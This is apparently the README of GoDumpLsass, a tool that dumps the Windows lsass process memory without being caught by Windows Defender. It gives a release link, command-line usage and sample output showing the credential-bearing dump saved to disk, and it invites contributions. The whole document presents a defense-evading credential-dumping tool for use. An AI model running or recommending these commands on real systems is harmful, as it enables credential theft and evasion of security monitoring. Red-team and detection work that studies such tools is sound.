GoDumpLsass is a simple tool that can dump lsass without to get caught by Windows Defender.
https://github.com/Enelg52/GoDumpLsass/releases
.\GoDumpLsass.exe -p [path]
.\GoDumpLsass.exe -p "C:\Users\enelg\Downloads\"
[-] Get lsass process id
[+] Lsass pid : 908
[-] Dump process
[+] Process dumped
[+] The dump is under C:\Users\enelg\Downloads\lsass.dmp
Pull requests are welcome !